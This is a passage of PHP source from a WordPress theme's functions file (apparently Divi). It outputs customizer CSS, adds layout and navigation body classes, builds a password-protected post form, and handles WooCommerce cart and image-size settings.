					break;

				case 'padding-tabs':
					printf( '%1$s { padding: %2$spx %3$spx; }',
						esc_html( $setting['selector'] ),
						esc_html( ( intval( $value ) * 0.5 ) ),
						esc_html( $value )
					);
					break;

				case 'padding-fullwidth-slider':
					printf( '%1$s { padding: %2$s %3$s; }',
						esc_html( $setting['selector'] ),
						esc_html( $value ) . '%',
						'0'
					);
					break;

				case 'padding-slider':
					printf( '%1$s { padding: %2$s %3$s; }',
						esc_html( $setting['selector'] ),
						esc_html( $value ) . '%',
						esc_html( ( intval( $value ) / 2 ) ) . '%'
					);
					break;

				case 'social-icon-size':
					$icon_margin 	= intval( $value ) * 0.57;
					$icon_dimension = intval( $value ) * 2;
					?>
					.et_pb_social_media_follow li a.icon{
						margin-right: <?php echo esc_html( $icon_margin ); ?>px;
						width: <?php echo esc_html( $icon_dimension ); ?>px;
						height: <?php echo esc_html( $icon_dimension ); ?>px;
					}

					.et_pb_social_media_follow li a.icon::before{
						width: <?php echo esc_html( $icon_dimension ); ?>px;
						height: <?php echo esc_html( $icon_dimension ); ?>px;
						font-size: <?php echo esc_html( $value ); ?>px;
						line-height: <?php echo esc_html( $icon_dimension ); ?>px;
					}
					<?php
					break;
			}
		}
	}
}

/**
 * Outputting saved customizer style(s) settings
 */
function et_pb_print_styles_css( $settings = array() ) {

	// $settings should be in array
	if ( is_array( $settings ) && ! empty( $settings ) ) {

		// Loop settings
		foreach ( $settings as $setting ) {

			// Print css
			et_pb_print_css( $setting );

		}
	}
}

/**
 * Outputting saved module styles settings. DRY
 *
 * @return void
 */
function et_pb_print_module_styles_css( $section = '', $settings = array() ) {
	$css = 'et_builder_maybe_wrap_css_selector';

	// Verify settings
	if ( is_array( $settings ) && ! empty( $settings ) ) {

		// Loop settings
		foreach ( $settings as $setting ) {

			// settings must have these elements: key, selector, default, and type
			if ( ! isset( $setting['key'] ) ||
				! isset( $setting['selector'] ) ||
				! isset( $setting['type'] ) ) {
				continue;
			}

			// Some attributes such as shop requires !important tag
			if ( isset( $setting['important'] ) && true === $setting['important'] ) {
				$important = ' !important';
			} else {
				$important = '';
			}

			// Prepare the setting key
			$key = "{$section}-{$setting['key']}";

			// Get the value
			$value = ET_Global_Settings::get_value( $key );
			$default_value = ET_Global_Settings::get_value( $key, 'default' );

			// Format the selector.
			$selector = $css( $setting['selector'], false );

			// Output CSS based on its type
			if ( false !== $value && $default_value !== $value ) {

				switch ( $setting['type'] ) {
					case 'font-size':

						printf( "%s { font-size: %spx%s; }\n", esc_html( $selector ), esc_html( $value ), $important );

						// Option with specific adjustment for smaller columns
						$smaller_title_sections = array(
							'et_pb_audio-title_font_size',
							'et_pb_blog-header_font_size',
							'et_pb_cta-header_font_size',
							'et_pb_contact_form-title_font_size',
							'et_pb_login-header_font_size',
							'et_pb_signup-header_font_size',
							'et_pb_slider-header_font_size',
							'et_pb_slider-body_font_size',
							'et_pb_countdown_timer-header_font_size',
						);

						if ( in_array( $key, $smaller_title_sections ) ) {

							// font size coefficient
							switch ( $key ) {
								case 'et_pb_slider-header_font_size':
									$font_size_coefficient = .565217391; // 26/46
									break;

								case 'et_pb_slider-body_font_size':
									$font_size_coefficient = .777777778; // 14/16
									break;

								default:
									$font_size_coefficient = .846153846; // 22/26
									break;
							}

							printf( '%1$s { font-size: %2$spx%3$s; }',
								esc_html( $css( '.et_pb_column_1_3 ' . $setting['selector'], false ) ),
								esc_html( $value * $font_size_coefficient ),
								$important
							);

							printf( '%1$s { font-size: %2$spx%3$s; }',
								esc_html( $css( '.et_pb_column_1_4 ' . $setting['selector'], false ) ),
								esc_html( $value * $font_size_coefficient ),
								$important
							);
						}

						break;

					case 'font-size':
						$value = intval( $value );

						printf( $css( '.et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value ) );
						printf( $css( '.et_pb_column_3_8 .et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value * ( 18 / 22 ) ) );
						printf( $css( '.et_pb_column_1_3 .et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value * ( 18 / 22 ) ) );
						printf( $css( '.et_pb_column_1_4 .et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value * ( 18 / 22 ) ) );
						break;

					case 'font-style':
						printf( "%s { %s }\n", esc_html( $selector ), et_pb_print_font_style( $value, $important ) );
						break;

					case 'color':
						printf( "%s { color: %s%s; }\n", esc_html( $selector ), esc_html( $value ), $important );
						break;

					case 'background-color':
						printf( "%s { background-color: %s%s; }\n", esc_html( $selector ), esc_html( $value ), $important );
						break;

					case 'border-radius':
						printf( "%s { -moz-border-radius: %spx; -webkit-border-radius: %spx; border-radius: %spx; }\n", esc_html( $selector ), esc_html( $value ), esc_html( $value ), esc_html( $value ) );
						break;

					case 'width':
						printf( "%s { width: %spx%s; }\n", esc_html( $selector ), esc_html( $value ), $important );
						break;

					case 'height':
						printf( "%s { height: %spx%s; }\n", esc_html( $selector ), esc_html( $value ), $important );
						break;

					case 'padding':
						printf( "%s { padding: %spx; }\n", esc_html( $selector ), esc_html( $value ) );
						break;

					case 'padding-top-bottom':
						printf( "%s { padding: %spx 0; }\n", esc_html( $selector ), esc_html( $value ) );
						break;

					case 'padding-tabs':
						$padding_tab_top_bottom 	= intval( $value ) * 0.133333333;
						$padding_tab_active_top 	= $padding_tab_top_bottom + 1;
						$padding_tab_active_bottom 	= $padding_tab_top_bottom - 1;
						$padding_tab_content 		= intval( $value ) * 0.8;

						// negative result will cause layout issue
						if ( $padding_tab_active_bottom < 0 ) {
							$padding_tab_active_bottom = 0;
						}

						printf(
							"%s { padding: %spx %spx %spx; }\n",
							esc_html( $css( '.et_pb_tabs_controls li', false ) ),
							esc_html( $padding_tab_active_top ),
							esc_html( $value ),
							esc_html( $padding_tab_active_bottom )
						);

						printf(
							"%s { padding: %spx %spx; }\n",
							esc_html( $css( '.et_pb_tabs_controls li.et_pb_tab_active', false ) ),
							esc_html( $padding_tab_top_bottom ),
							esc_html( $value )
						);

						printf(
							"%s { padding: %spx %spx; }\n",
							esc_html( $css( '.et_pb_all_tabs', false ) ),
							esc_html( $padding_tab_content ),
							esc_html( $value )
						);
						break;

					case 'padding-slider':
						printf( "%s { padding-top: %s; padding-bottom: %s }\n", esc_html( $selector ), esc_html( $value ) . '%', esc_html( $value ) . '%' );

						if ( 'et_pagebuilder_slider_padding' === $key ) {
							printf( '@media only screen and ( max-width: 767px ) { %1$s { padding-top: %2$s; padding-bottom: %2$s; } }', esc_html( $selector ), '16%' );
						}
						break;

					case 'padding-call-to-action':
						$value = intval( $value );

						printf(
							"%s { padding: %spx %spx !important; }\n",
							esc_html( $css( '.et_pb_promo', false ) ),
							esc_html( $value ),
							esc_html( $value * ( 60 / 40 ) )
						);

						printf(
							"%s { padding: %spx; }\n",
							esc_html( $css( '.et_pb_column_1_2 .et_pb_promo', false ) ),
							esc_html( $value )
						);

						printf(
							"%s { padding: %spx; }\n",
							esc_html( $css( '.et_pb_column_1_3 .et_pb_promo', false ) ),
							esc_html( $value )
						);

						printf(
							"%s { padding: %spx; }\n",
							esc_html( $css( '.et_pb_column_1_4 .et_pb_promo', false ) ),
							esc_html( $value )
						);

						break;

					case 'social-icon-size':
						$icon_margin 	= intval( $value ) * 0.57;
						$icon_dimension = intval( $value ) * 2;
						?>
						<?php echo $css( '.et_pb_social_media_follow li a.icon', false ); ?> {
							margin-right: <?php echo esc_html( $icon_margin ); ?>px;
							width: <?php echo esc_html( $icon_dimension ); ?>px;
							height: <?php echo esc_html( $icon_dimension ); ?>px;
						}

						<?php echo $css( '.et_pb_social_media_follow li a.icon::before', false ); ?> {
							width: <?php echo esc_html( $icon_dimension ); ?>px;
							height: <?php echo esc_html( $icon_dimension ); ?>px;
							font-size: <?php echo esc_html( $value ); ?>px;
							line-height: <?php echo esc_html( $icon_dimension ); ?>px;
						}

						<?php echo $css( '.et_pb_social_media_follow li a.follow_button', false ); ?> {
							font-size: <?php echo esc_html( $value ); ?>px;
						}
						<?php
						break;

					case 'border-top-style':
						printf( "%s { border-top-style: %s; }\n", esc_html( $selector ), esc_html( $value ) );
						break;

					case 'border-top-width':
						printf( "%s { border-top-width: %spx; }\n", esc_html( $selector ), esc_html( $value ) );
						break;
				}
			}
		}
	}
}

/**
 * Outputting font-style attributes & values saved by ET_Divi_Font_Style_Option on customizer
 *
 * @return string
 */
function et_pb_print_font_style( $styles = '', $important = '' ) {

	// Prepare variable
	$font_styles = "";

	if ( '' !== $styles && false !== $styles && ! is_null( $styles ) ) {
		// Convert string into array
		$styles_array = explode( '|', $styles );

		// If $important is in use, give it a space
		if ( $important && '' !== $important ) {
			$important = " " . $important;
		}

		// Use in_array to find values in strings. Otherwise, display default text

		// Font weight
		if ( in_array( 'bold', $styles_array ) ) {
			$font_styles .= "font-weight: bold{$important}; ";
		} else {
			$font_styles .= "font-weight: normal{$important}; ";
		}

		// Font style
		if ( in_array( 'italic', $styles_array ) ) {
			$font_styles .= "font-style: italic{$important}; ";
		} else {
			$font_styles .= "font-style: normal{$important}; ";
		}

		// Text-transform
		if ( in_array( 'uppercase', $styles_array ) ) {
			$font_styles .= "text-transform: uppercase{$important}; ";
		} else {
			$font_styles .= "text-transform: none{$important}; ";
		}

		// Text-decoration
		if ( in_array( 'underline', $styles_array ) ) {
			$font_styles .= "text-decoration: underline{$important}; ";
		} else {
			$font_styles .= "text-decoration: none{$important}; ";
		}
	}

	return esc_html( $font_styles );
}

/*
 * Adds color scheme class to the body tag
 */
function et_customizer_color_scheme_class( $body_class ) {
	$color_scheme        = et_get_option( 'color_schemes', 'none' );
	$color_scheme_prefix = 'et_color_scheme_';

	if ( 'none' !== $color_scheme ) $body_class[] = $color_scheme_prefix . $color_scheme;

	return $body_class;
}
add_filter( 'body_class', 'et_customizer_color_scheme_class' );

/*
 * Adds button class to the body tag
 */
function et_customizer_button_class( $body_class ) {
	$button_icon_placement = et_get_option( 'all_buttons_icon_placement', 'right' );
	$button_icon_on_hover = et_get_option( 'all_buttons_icon_hover', 'yes' );
	$button_use_icon = et_get_option( 'all_buttons_icon', 'yes' );
	$button_icon = et_get_option( 'all_buttons_selected_icon', '5' );

	if ( 'left' === $button_icon_placement ) {
		$body_class[] = 'et_button_left';
	}

	if ( 'no' === $button_icon_on_hover ) {
		$body_class[] = 'et_button_icon_visible';
	}

	if ( 'no' === $button_use_icon ) {
		$body_class[] = 'et_button_no_icon';
	}

	if ( '5' !== $button_icon ) {
		$body_class[] = 'et_button_custom_icon';
	}

	$body_class[] = 'et_pb_button_helper_class';

	return $body_class;
}
add_filter( 'body_class', 'et_customizer_button_class' );

function et_load_google_fonts_scripts() {
	$theme_version = et_get_theme_version();

	wp_enqueue_script( 'et_google_fonts', get_template_directory_uri() . '/epanel/google-fonts/et_google_fonts.js', array( 'jquery' ), $theme_version, true );
	wp_localize_script( 'et_google_fonts', 'et_google_fonts_data', array(
		'user_fonts' => et_builder_get_custom_fonts(),
	) );
}
add_action( 'customize_controls_print_footer_scripts', 'et_load_google_fonts_scripts' );

function et_load_google_fonts_styles() {
	$theme_version = et_get_theme_version();

	wp_enqueue_style( 'et_google_fonts_style', get_template_directory_uri() . '/epanel/google-fonts/et_google_fonts.css', array(), $theme_version );
}
add_action( 'customize_controls_print_styles', 'et_load_google_fonts_styles' );

if ( ! function_exists( 'et_divi_post_meta' ) ) :
function et_divi_post_meta() {
	$postinfo = is_single() ? et_get_option( 'divi_postinfo2' ) : et_get_option( 'divi_postinfo1' );

	if ( $postinfo ) :
		echo '<p class="post-meta">';
		echo et_pb_postinfo_meta( $postinfo, et_get_option( 'divi_date_format', 'M j, Y' ), esc_html__( '0 comments', 'Divi' ), esc_html__( '1 comment', 'Divi' ), '% ' . esc_html__( 'comments', 'Divi' ) );
		echo '</p>';
	endif;
}
endif;

function et_video_embed_html( $video ) {
	if ( is_single() && 'video' === et_pb_post_format() ) {
		static $post_video_num = 0;

		$post_video_num++;

		// Hide first video in the post content on single video post page
		if ( 1 === $post_video_num ) {
			return '';
		}
	}

	return "<div class='et_post_video'>{$video}</div>";
}

function et_do_video_embed_html(){
	add_filter( 'embed_oembed_html', 'et_video_embed_html' );
}
add_action( 'et_before_content', 'et_do_video_embed_html' );

/**
 * Removes galleries on single gallery posts, since we display images from all
 * galleries on top of the page
 */
function et_delete_post_gallery( $content ) {
	$deleted = false;

	if ( ( is_single() || is_archive() ) && is_main_query() && has_post_format( 'gallery' ) ) :
		if ( et_theme_builder_overrides_layout( ET_THEME_BUILDER_BODY_LAYOUT_POST_TYPE ) ) {
			// Do not remove galleries when TB has taken over.
			return $content;
		}

		$regex = get_shortcode_regex();
		preg_match_all( "/{$regex}/s", $content, $matches );

		// $matches[2] holds an array of shortcodes names in the post
		foreach ( $matches[2] as $key => $shortcode_match ) {
			if ( 'gallery' === $shortcode_match ) {
				$content = str_replace( $matches[0][$key], '', $content );
				$deleted = true;
				break;
			}
		}
		$content = apply_filters('et_delete_post_gallery', $content, $deleted);
	endif;

	return $content;
}
add_filter( 'the_content', 'et_delete_post_gallery' );
// Include GB galleries in `get_post_gallery`
add_filter( 'et_gb_gallery_include_in_get_post_gallery', '__return_true' );

function et_divi_post_admin_scripts_styles( $hook ) {
	global $typenow;

	$theme_version = et_get_theme_version();
	$current_screen = get_current_screen();

	if ( ! in_array( $hook, array( 'post-new.php', 'post.php' ) ) ) return;

	if ( ! isset( $typenow ) ) return;

	if ( in_array( $typenow, array( 'post' ) ) ) {
		wp_enqueue_style( 'wp-color-picker' );
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_script( 'et-admin-post-script', get_template_directory_uri() . '/js/admin_post_settings.js', array( 'jquery' ), $theme_version );
	}
}
add_action( 'admin_enqueue_scripts', 'et_divi_post_admin_scripts_styles' );

function et_password_form() {
	$pwbox_id = rand();

	$form_output = sprintf(
		'<div class="et_password_protected_form">
			<h1>%1$s</h1>
			<p>%2$s:</p>
			<form action="%3$s" method="post">
				<p><label for="%4$s">%5$s: </label><input name="post_password" id="%4$s" type="password" size="20" maxlength="20" /></p>
				<p><button type="submit" name="et_divi_submit_button" class="et_submit_button et_pb_button">%6$s</button></p>
			</form>
		</div>',
		esc_html__( 'Password Protected', 'Divi' ),
		esc_html__( 'To view this protected post, enter the password below', 'Divi' ),
		esc_url( site_url( 'wp-login.php?action=postpass', 'login_post' ) ),
		esc_attr( 'pwbox-' . $pwbox_id ),
		esc_html__( 'Password', 'Divi' ),
		esc_html__( 'Submit', 'Divi' )
	);

	$output = sprintf(
		'<div class="et_pb_section et_section_regular">
			<div class="et_pb_row">
				<div class="et_pb_column et_pb_column_4_4">
					%1$s
				</div>
			</div>
		</div>',
		$form_output
	);

	return preg_replace( '/\t+/', '', $output );
}
add_filter( 'the_password_form', 'et_password_form' );

function et_add_wp_version( $classes ) {
	global $wp_version;

	$is_admin_body_class = 'admin_body_class' === current_filter();

	// add 'et-wp-pre-3_8' class if the current WordPress version is less than 3.8
	if ( version_compare( $wp_version, '3.7.2', '<=' ) ) {
		if ( 'body_class' === current_filter() ) {
			$classes[] = 'et-wp-pre-3_8';
		} else {
			$classes .= ' et-wp-pre-3_8';
		}
	} else if ( $is_admin_body_class ) {
		$classes .= ' et-wp-after-3_8';
	}

	if ( $is_admin_body_class ) {
		$classes = ltrim( $classes );
	}

	return $classes;
}
add_filter( 'body_class', 'et_add_wp_version' );
add_filter( 'admin_body_class', 'et_add_wp_version' );

/**
 * Determine whether current primary nav uses transparent nav or not based on primary nav background
 * @return bool
 */
function et_divi_is_transparent_primary_nav() {
	return 'rgba' === substr( strval( et_get_option( 'primary_nav_bg', '#ffffff' ) ), 0, 4 );
}

function et_layout_body_class( $classes ) {
    $has_tb_header     = in_array( 'et-tb-has-header', $classes );
    $has_tb_footer     = in_array( 'et-tb-has-footer', $classes );
    $is_blank_page_tpl = is_page_template( 'page-template-blank.php' );

	do_action( 'et_layout_body_class_before', $classes );

	// Check here if we want to enable the dot navigation for the Frontpage or Single page.
	// On archive pages `get_the_ID()` always returns the ID of the first post.
	// For that we need to check if its a single page or not as Dot navigation can only be enabled in single pages.
	// If we want to use disable this we can always remove the safe check from the `et_pb_side_nav_on_single` feature.
	if ( apply_filters( 'et_pb_side_nav_on_single', is_singular() || is_home() || is_front_page() ) && 'on' === get_post_meta( get_the_ID(), '_et_pb_side_nav', true ) && et_pb_is_pagebuilder_used( get_the_ID() ) ) {
		$classes[] = 'et_pb_side_nav_page';
	}

	if ( ! $has_tb_header && ! $is_blank_page_tpl ) {
		$vertical_nav = et_get_option( 'vertical_nav', false );
		if ( et_divi_is_transparent_primary_nav() && ( false === $vertical_nav || '' === $vertical_nav ) ) {
			$classes[] = 'et_transparent_nav';
		}

		if ( true === et_get_option( 'nav_fullwidth', false ) ) {
			if ( true === et_get_option( 'vertical_nav', false ) ) {
				$classes[] = 'et_fullwidth_nav_temp';
			} else {
				$classes[] = 'et_fullwidth_nav';
			}
		}

		if ( true === et_get_option( 'secondary_nav_fullwidth', false ) ) {
			$classes[] = 'et_fullwidth_secondary_nav';
		}

		if ( true === et_get_option( 'vertical_nav', false ) ) {
			$classes[] = 'et_vertical_nav';
			if ( 'right' === et_get_option( 'vertical_nav_orientation', 'left' ) ) {
				$classes[] = 'et_vertical_right';
			}
		} else if ( 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) {
			$classes[] = 'et_fixed_nav';
		} else if ( 'on' !== et_get_option( 'divi_fixed_nav', 'on' ) ) {
			$classes[] = 'et_non_fixed_nav';
		}

		if ( true === et_get_option( 'vertical_nav', false ) && 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) {
			$classes[] = 'et_vertical_fixed';
		}

		if ( true === et_get_option( 'hide_nav', false ) && ( ! is_singular() || is_singular() && 'no' !== get_post_meta( get_the_ID(), '_et_pb_post_hide_nav', true ) ) ) {
			$classes[] = 'et_hide_nav';
		} else {
			$classes[] = 'et_show_nav';
		}

		if ( is_singular() && 'on' === get_post_meta( get_the_ID(), '_et_pb_show_title', true ) ) {
			$classes[] = 'et_pb_show_title';
		}

		if ( true === et_get_option( 'hide_primary_logo', false ) ) {
			$classes[] = 'et_hide_primary_logo';
		}

		if ( true === et_get_option( 'hide_fixed_logo', false ) ) {
			$classes[] = 'et_hide_fixed_logo';
		}

		if ( true === et_get_option( 'hide_mobile_logo', false ) ) {
			$classes[] = 'et_hide_mobile_logo';
		}

		$et_secondary_nav_items = et_divi_get_top_nav_items();

		if ( $et_secondary_nav_items->top_info_defined && 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) {
			$classes[] = 'et_secondary_nav_enabled';
		}

		if ( $et_secondary_nav_items->two_info_panels && 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) {
			$classes[] = 'et_secondary_nav_two_panels';
		}

		if ( $et_secondary_nav_items->secondary_nav && ! ( $et_secondary_nav_items->contact_info_defined || $et_secondary_nav_items->show_header_social_icons ) && 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) {
			$classes[] = 'et_secondary_nav_only_menu';
		}

		if ( is_singular() && et_builder_enabled_for_post( get_the_ID() ) && 'on' == get_post_meta( get_the_ID(), '_et_pb_post_hide_nav', true ) ) {
			$classes[] = 'et_hide_nav';
		}

		$primary_dropdown_animation = et_get_option( 'primary_nav_dropdown_animation', 'fade' );
		$classes[] = esc_attr( "et_primary_nav_dropdown_animation_{$primary_dropdown_animation}" );

		$secondary_dropdown_animation = et_get_option( 'secondary_nav_dropdown_animation', 'fade' );
		$classes[] = esc_attr( "et_secondary_nav_dropdown_animation_{$secondary_dropdown_animation}" );

		$header_style = et_get_option( 'header_style', 'left' );
		$classes[] = esc_attr( "et_header_style_{$header_style}" );

		if ( 'slide' === $header_style || 'fullscreen' === $header_style ) {
			$classes[] = esc_attr( "et_header_style_left" );
			if ( 'fullscreen' === $header_style && ! et_get_option( 'slide_nav_show_top_bar', true ) ) {
				// additional class if top bar disabled in Fullscreen menu
				$classes[] = esc_attr( "et_pb_no_top_bar_fullscreen" );
			}
		}

		$logo = et_get_option( 'divi_logo', '' );
		if ( '.svg' === substr( strval( $logo ), -4, 4 ) ) {
			$classes[] = 'et_pb_svg_logo';
		}
    }

	if ( ! $has_tb_footer && ! $is_blank_page_tpl ) {
		$footer_columns = et_get_option( 'footer_columns', '4' );
		$classes[] = esc_attr( "et_pb_footer_columns{$footer_columns}" );
    }

	// home-posts class is used by customizer > blog to work. It modifies post title and meta
	// of WP default layout (home, archive, single), but should not modify post title and meta of blog module (page as home)
	if ( in_array( 'home', $classes ) && ! in_array( 'page', $classes ) ) {
		$classes[] = 'home-posts';
	}

	if ( true === et_get_option( 'boxed_layout', false ) ) {
		$classes[] = 'et_boxed_layout';
	}

	if ( false !== et_get_option( 'cover_background', true ) ) {
		$classes[] = 'et_cover_background';
	}

	if ( ! et_get_option( 'use_sidebar_width', false ) ) {
		$classes[] = 'et_pb_gutter';
	}

	if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
		if ( stristr( $_SERVER['HTTP_USER_AGENT'], "mac" ) ) {
			$classes[] = 'osx';
		} elseif ( stristr( $_SERVER['HTTP_USER_AGENT'], "linux" ) ) {
			$classes[] = 'linux';
		} elseif ( stristr( $_SERVER['HTTP_USER_AGENT'], "windows" ) ) {
			$classes[] = 'windows';
		}
	}

	$page_custom_gutter = get_post_meta( get_the_ID(), '_et_pb_gutter_width', true );
	$gutter_width = ! empty( $page_custom_gutter ) && is_singular() ? $page_custom_gutter :  (string) et_get_option( 'gutter_width', '3' );
	$classes[] = esc_attr( "et_pb_gutters{$gutter_width}" );

	// Add the page builder class.
	if ( et_pb_is_pagebuilder_used( get_the_ID() ) && ! ET_GB_Block_Layout::is_layout_block_preview() ) {
		$classes[] = 'et_pb_pagebuilder_layout';
	}

	// Add smooth scroll class name
	if ( 'on' === et_get_option( 'divi_smooth_scroll', false ) ) {
		$classes[] = 'et_smooth_scroll';
	}

	do_action( 'et_layout_body_class_after', $classes );

	return $classes;
}
add_filter( 'body_class', 'et_layout_body_class' );

if ( ! function_exists( 'et_layout_post_class' ) ):
function et_layout_post_class( $classes ) {
	global $template;

	$post_id       = get_the_ID();
	$post_type     = get_post_type( $post_id );
	$template_name = ! empty( $template ) ? basename( $template ) : ''; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect -- We decided to ignore indentation change.

	if ( 'page' === $post_type ) {
		// Don't add the class to pages.
		return $classes;
	}

	if ( in_array( $template_name, array( 'index.php', 'single.php' ) ) ) {
		// The class has already been added by one of the theme's templates.
		return $classes;
	}

	// Since the theme's templates are not being used, we don't add the class on CPT archive pages.
	if ( is_single() && et_pb_is_pagebuilder_used( $post_id ) ) {
		$classes[] = 'et_pb_post';
	}

	return $classes;
}
add_filter( 'post_class', 'et_layout_post_class' );
endif;

if ( ! function_exists( 'et_show_cart_total' ) ) {
	function et_show_cart_total( $args = array() ) {
		if ( ! class_exists( 'woocommerce' ) || ! WC()->cart ) {
			return;
		}

		$defaults = array(
			'no_text' => false,
		);

		$args = wp_parse_args( $args, $defaults );

		$items_number = WC()->cart->get_cart_contents_count();

		$url = function_exists( 'wc_get_cart_url' ) ? wc_get_cart_url() : WC()->cart->get_cart_url();

		printf(
			'<a href="%1$s" class="et-cart-info">
				<span>%2$s</span>
			</a>',
			esc_url( $url ),
			( ! $args['no_text']
				? esc_html( sprintf(
					_nx( '%1$s Item', '%1$s Items', $items_number, 'WooCommerce items number', 'Divi' ),
					number_format_i18n( $items_number )
				) )
				: ''
			)
		);
	}
}

if ( ! function_exists( 'et_divi_get_top_nav_items' ) ) {
	function et_divi_get_top_nav_items() {
		$items = new stdClass;

		$items->phone_number = trim( strval( et_get_option( 'phone_number' ) ) );

		$items->email = trim( strval( et_get_option( 'header_email' ) ) );

		$items->contact_info_defined = $items->phone_number || $items->email;

		$items->show_header_social_icons = et_get_option( 'show_header_social_icons', false );

		$items->secondary_nav = wp_nav_menu( array(
			'theme_location' => 'secondary-menu',
			'container'      => '',
			'fallback_cb'    => '',
			'menu_id'        => 'et-secondary-nav',
			'echo'           => false,
		) );

		$items->top_info_defined = $items->contact_info_defined || $items->show_header_social_icons || $items->secondary_nav;

		$items->two_info_panels = $items->contact_info_defined && ( $items->show_header_social_icons || $items->secondary_nav );

		return $items;
	}
}

function et_divi_activate_features(){
	define( 'ET_SHORTCODES_VERSION', et_get_theme_version() );

	/* activate shortcodes */
	require_once( get_template_directory() . '/epanel/shortcodes/shortcodes.php' );
}
add_action( 'init', 'et_divi_activate_features' );

require_once( get_template_directory() . '/et-pagebuilder/et-pagebuilder.php' );
require_once get_template_directory() . '/includes/theme-builder.php';

require_once( get_template_directory() . '/includes/block-editor-integration.php' );

/**
 * Custom body classes for sidebar location in different places
 * @return array
 */
function et_divi_sidebar_class( $classes ) {
    if ( in_array( 'et-tb-has-body', $classes ) ) {
        // TB has taken over the body area so there is no sidebar.
        return $classes;
    }

	$page_layout           = '';
	$is_product            = function_exists( 'is_product' ) && is_product();
	$default_sidebar_class = $is_product ? et_get_option( 'et_pb_woocommerce_product_layout' ) : et_get_option( 'divi_sidebar' );
	$post_id               = get_queried_object_id();
	$is_builder_active     = 'on' === get_post_meta( $post_id, '_et_pb_use_builder', true ) || et_core_is_fb_enabled();
	$is_blank_page_tpl     = is_page_template( 'page-template-blank.php' );

	if ( ! $default_sidebar_class ) {
		$default_sidebar_class = is_rtl() ? 'et_left_sidebar' : 'et_right_sidebar';
	}

	// Set Woo shop and taxonomies layout.
	if ( class_exists( 'woocommerce' ) && ( is_woocommerce() && ( is_shop() || is_tax() || $is_product ) ) ) {
		if ( $is_product ) {
			$saved_page_layout = get_post_meta( $post_id, '_et_pb_page_layout', true );
			$page_layout = ! $saved_page_layout || ( 'et_full_width_page' === $saved_page_layout && ! $is_builder_active ) ? $default_sidebar_class : $saved_page_layout;
		} else {
			$page_layout = et_get_option( 'divi_shop_page_sidebar', $default_sidebar_class );
		}
	} elseif ( ! is_singular() || ( ! ( $page_layout = get_post_meta( $post_id, '_et_pb_page_layout', true ) ) && ! $is_builder_active ) ) { // check for the falsy value not for boolean `false`
		// Set post meta layout which will work for all third party plugins.
		$page_layout = $default_sidebar_class;
	} elseif ( $is_builder_active && ($is_blank_page_tpl || ! $page_layout || is_page() ) ) {
		$page_layout = 'et_no_sidebar';
	}

	// Handle et_no_sidebar class. It should be no_sidebar for all custom post types, or any post type if builder active.
	// otherwise apply 'et_full_width_page' class for backward compatibility
	if ( 'et_no_sidebar' === $page_layout && is_singular() ) {
		if ( et_builder_post_is_of_custom_post_type( $post_id ) || $is_builder_active ) {
			$classes[] = 'et_no_sidebar';
		} else {
			$classes[] = 'et_full_width_page';
		}
	} else {
		// Add the page layout class.
		$classes[] = $page_layout;
	}

	// Maybe add the full width portfolio class.
	if ( is_singular( 'project' ) && ( in_array( $page_layout, array( 'et_full_width_page', 'et_no_sidebar' ) ) ) ) {
		$classes[] = 'et_full_width_portfolio_page';
	}

	return $classes;
}
add_filter( 'body_class', 'et_divi_sidebar_class' );

/**
 * Custom body classes for handling customizer preview screen
 * @return array
 */
function et_divi_customize_preview_class( $classes ) {
	if ( is_customize_preview() ) {
		// Customizer class name for customizer specific stuff
		$classes[] = 'et_is_customize_preview';

		// Search icon state
		if ( ! et_get_option( 'show_search_icon', true ) ) {
			$classes[] = 'et_hide_search_icon';
		}
	}

	return $classes;
}
add_filter( 'body_class', 'et_divi_customize_preview_class' );

function et_modify_shop_page_columns_num( $columns_num ) {
	if ( ! et_is_woocommerce_plugin_active() ) {
		return $columns_num;
	}

	// WooCommerce plugin active check ensures that archive function can be used.
	$is_archive_page = is_shop() || is_product_category() || is_product_tag();

	if ( ! $is_archive_page ) {
		return $columns_num;
	}

	$default_sidebar_class  = is_rtl() ? 'et_left_sidebar' : 'et_right_sidebar';
	$divi_shop_page_sidebar = et_get_option( 'divi_shop_page_sidebar', $default_sidebar_class );

	// Assignment is intentional for readability.
	$columns_num = 'et_full_width_page' === $divi_shop_page_sidebar ? 4 : 3;

	return $columns_num;
}
add_filter( 'loop_shop_columns', 'et_modify_shop_page_columns_num' );

/**
 * Enqueue Onboarding scripts.
 *
 * @since ??
 */
function onboarding_scripts() {
	require_once get_template_directory() . '/onboarding/onboarding.php';
	require_once get_template_directory() . '/onboarding/functions.php';

	ET_Onboarding::init_hooks();
}

add_action( 'after_setup_theme', 'onboarding_scripts' );

// WooCommerce

global $pagenow;
if ( is_admin() && isset( $_GET['activated'] ) && $pagenow == 'themes.php' ) {
	// Prevent Cache Warning From Being Displayed On First Install
	$current_theme_version[ et_get_theme_version() ] = 'ignore' ;
	update_option( 'et_pb_cache_notice', $current_theme_version );

	add_action( 'init', 'et_divi_woocommerce_image_dimensions', 1 );
}

/**
 * Default values for WooCommerce images changed in version 1.3
 * Checks if WooCommerce image dimensions have been updated already.
 */
function et_divi_check_woocommerce_images() {
	if ( 'checked' === et_get_option( 'divi_1_3_images' ) ) return;

	et_divi_woocommerce_image_dimensions();
	et_update_option( 'divi_1_3_images', 'checked' );
}
add_action( 'admin_init', 'et_divi_check_woocommerce_images' );

function et_divi_woocommerce_image_dimensions() {
	$catalog = array(
		'width' 	=> '400',
		'height'	=> '400',
		'crop'		=> 1,
	);

	$single = array(
		'width' 	=> '510',
		'height'	=> '9999',
		'crop'		=> 0,
	);

	$thumbnail = array(
		'width' 	=> '157',
		'height'	=> '157',
		'crop'		=> 1,
	);

	update_option( 'shop_catalog_image_size', $catalog );
	update_option( 'shop_single_image_size', $single );
	update_option( 'shop_thumbnail_image_size', $thumbnail );
